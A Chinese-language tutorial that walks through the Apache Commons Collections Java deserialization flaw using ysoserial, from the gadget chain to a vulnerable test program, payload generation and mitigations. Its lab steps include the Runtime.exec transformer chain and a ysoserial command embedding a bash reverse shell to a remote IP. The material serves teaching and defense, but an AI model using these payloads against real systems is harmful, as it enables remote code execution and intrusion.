ysoserial安全验证:Apache Commons Collections反序列化全过程

ysoserial安全验证:Apache Commons Collections反序列化全过程

【免费下载链接】ysoserial A proof-of-concept tool for generating payloads that exploit unsafe Java object deserialization. 【免费下载链接】ysoserial 项目地址: https://gitcode.com/gh_mirrors/ys/ysoserial

1. 安全背景与影响

你是否遇到过Java应用在毫无征兆的情况下执行了未知命令?是否在代码审计中对readObject()方法心存警惕?Apache Commons Collections反序列化安全问题(CVE-2015-7501)作为Java反序列化安全问题的"开山鼻祖",至今仍是安全领域的经典案例。本文将通过ysoserial工具完整验证该问题的处理过程,从原理剖析到实战操作,帮助你彻底掌握Java反序列化安全问题的本质。

读完本文你将获得:

  • 理解Apache Commons Collections反序列化安全问题的完整攻击链
  • 掌握使用ysoserial生成测试Payload的方法
  • 学会搭建验证环境并验证命令执行结果
  • 了解反序列化安全问题的防御机制与修复方案

2. 原理深度解析

2.1 Java反序列化基础

Java序列化(Serialization)是将对象转换为字节流的过程,而反序列化(Deserialization)则是将字节流恢复为对象的过程。当程序调用ObjectInputStream.readObject()方法时,如果对输入数据没有进行严格校验,就可能触发恶意构造的对象中的代码逻辑,导致远程代码执行(Remote Code Execution, RCE)

// 危险的反序列化代码示例
ObjectInputStream ois = new ObjectInputStream(inputStream);
Object obj = ois.readObject(); // 未校验输入数据,存在安全风险

2.2 Commons Collections问题链分析

Apache Commons Collections库提供了丰富的集合类工具,其中LazyMapTransformer接口的组合使用,为反序列化安全问题提供了可利用的"跳板"。ysoserial中的CommonsCollections1 payload利用了以下调用链:

mermaid

关键代码解析

// CommonsCollections1.java核心代码片段
final Transformer[] transformers = new Transformer[] {
    new ConstantTransformer(Runtime.class),  // 获取Runtime类
    new InvokerTransformer("getMethod", new Class[] {
        String.class, Class[].class }, new Object[] {
        "getRuntime", new Class[0] }),  // 调用Runtime.getMethod("getRuntime")
    new InvokerTransformer("invoke", new Class[] {
        Object.class, Object[].class }, new Object[] {
        null, new Object[0] }),  // 调用方法获取Runtime实例
    new InvokerTransformer("exec", new Class[] { 
        String.class }, execArgs),  // 执行命令
    new ConstantTransformer(1)
};

2.3 触发条件

成功处理该问题需要满足以下条件:

  • 目标应用使用了存在问题的Apache Commons Collections版本(≤3.2.1)
  • 应用中存在不安全的反序列化操作(调用readObject()且未校验输入)
  • 目标服务器可访问攻击者控制的恶意序列化数据

3. 环境搭建与准备

3.1 环境组件清单

组件版本作用
JDK1.7.x运行环境(该问题在JDK 8u71+已修复部分利用链)
ysoserial最新版生成反序列化Payload
Apache Commons Collections3.1提供问题依赖库
测试程序自定义模拟存在反序列化问题的应用

3.2 项目获取与构建

# 克隆项目仓库
git clone https://gitcode.com/gh_mirrors/ys/ysoserial.git
cd ysoserial

# 构建项目(需先安装Maven)
mvn clean package -DskipTests

3.3 测试程序编写

创建一个简单的Java程序模拟存在反序列化问题的应用:

import java.io.FileInputStream;
import java.io.ObjectInputStream;

public class TestApp {
    public static void main(String[] args) throws Exception {
        // 从文件读取并反序列化对象
        ObjectInputStream ois = new ObjectInputStream(new FileInputStream("payload.ser"));
        ois.readObject(); // 危险操作:未校验输入数据
        ois.close();
    }
}

编译该程序时需引入Commons Collections依赖:

javac -cp .:commons-collections-3.1.jar TestApp.java

4. 验证完整步骤

4.1 生成测试Payload

使用ysoserial生成针对Commons Collections 3.1的测试Payload:

# 生成执行calc.exe的Payload(Windows系统)
java -jar ysoserial.jar CommonsCollections1 "calc.exe" > payload.ser

# 生成执行/bin/bash的Payload(Linux系统)
java -jar ysoserial.jar CommonsCollections1 "bash -i >& /dev/tcp/192.168.1.100/4444 0>&1" > payload.ser

Payload文件分析: 生成的payload.ser是二进制文件,包含了恶意构造的序列化对象。可通过xxd命令查看其十六进制内容:

xxd payload.ser | head -10
# 输出示例:
# 00000000: aced 0005 7372 0032 7375 6e2e 7265 666c  ....sr.2sun.refl
# 00000010: 6563 742e 616e 6e6f 7461 7469 6f6e 2e41  ect.annotation.A
# 00000020: 6e6e 6f74 6174 696f 6e49 6e76 6f63 6174  nnotationInvocat

4.2 触发问题与命令执行

将生成的payload.ser传输到目标服务器,执行测试程序:

# 运行存在问题的应用程序
java -cp .:commons-collections-3.1.jar TestApp

如果问题存在且处理成功,将看到计算器程序弹出(Windows)或在攻击者监听端口收到反向Shell(Linux)。

5. 防御与修复方案

5.1 临时缓解措施

在无法立即升级组件的情况下,可采取以下临时措施:

  • 使用SecurityManager限制反序列化过程中的类加载
  • 对输入的序列化数据进行签名校验
  • 配置ObjectInputStreamresolveClass方法过滤危险类
// 安全的反序列化示例(白名单机制)
ObjectInputStream ois = new ObjectInputStream(inputStream) {
    @Override
    protected Class<?> resolveClass(ObjectStreamClass desc) throws IOException, ClassNotFoundException {
        // 只允许反序列化指定的安全类
        if (!desc.getName().equals("com.example.SafeClass")) {
            throw new InvalidClassException("Unallowed class", desc.getName());
        }
        return super.resolveClass(desc);
    }
};

5.2 根本修复方案

  • 升级组件:将Apache Commons Collections升级至3.2.2或更高版本
  • 使用序列化过滤库:如Apache Commons IO的ValidatingObjectInputStream
  • 采用安全的序列化格式:如JSON、Protocol Buffers等替代Java原生序列化
  • 代码审计:使用静态分析工具(如FindSecBugs)检测代码中的不安全反序列化

6. 总结与扩展思考

Apache Commons Collections反序列化安全问题虽然已发现多年,但类似的反序列化问题仍在不断出现。理解其原理不仅有助于防御已知问题,更能帮助我们识别新的安全风险。ysoserial作为一款强大的Payload生成工具,支持多种处理链,值得深入研究。

思考题

  1. 为什么JDK版本会影响反序列化问题的利用?
  2. 如何通过网络流量检测Java反序列化攻击?
  3. 除了命令执行,反序列化问题还可能导致哪些危害?

【免费下载链接】ysoserial A proof-of-concept tool for generating payloads that exploit unsafe Java object deserialization. 【免费下载链接】ysoserial 项目地址: https://gitcode.com/gh_mirrors/ys/ysoserial

创作声明:本文部分内容由AI辅助生成(AIGC),仅供参考

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值